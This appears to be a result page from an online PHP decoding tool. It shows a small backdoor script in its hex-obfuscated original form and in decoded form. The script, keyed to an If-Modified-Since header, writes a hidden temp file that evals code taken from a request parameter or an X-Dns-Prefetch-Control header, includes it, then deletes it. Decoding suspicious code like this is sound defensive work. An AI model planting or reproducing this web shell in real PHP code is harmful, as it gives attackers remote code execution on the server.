Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Modified-Since'])) { $c ..

Decoded Output download

<?php 
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['If-Modified-Since'])) { 
    $c = "<?php @eval($_REQUEST[\"X-Dns-Prefetch-Control"]);@eval($_HEADERS["X-Dns-Prefetch-Control\"]);"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x58-\x44n\x73-\x50r\x65f\x65t\x63h\x2dC\x6fn\x74r\x6fl\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22X\x2dD\x6es\x2dP\x72e\x66e\x74c\x68-\x43o\x6et\x72o\x6c\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 b03f2162d70b60406fdab62abcbe1780
Eval Count 0
Decode Time 49 ms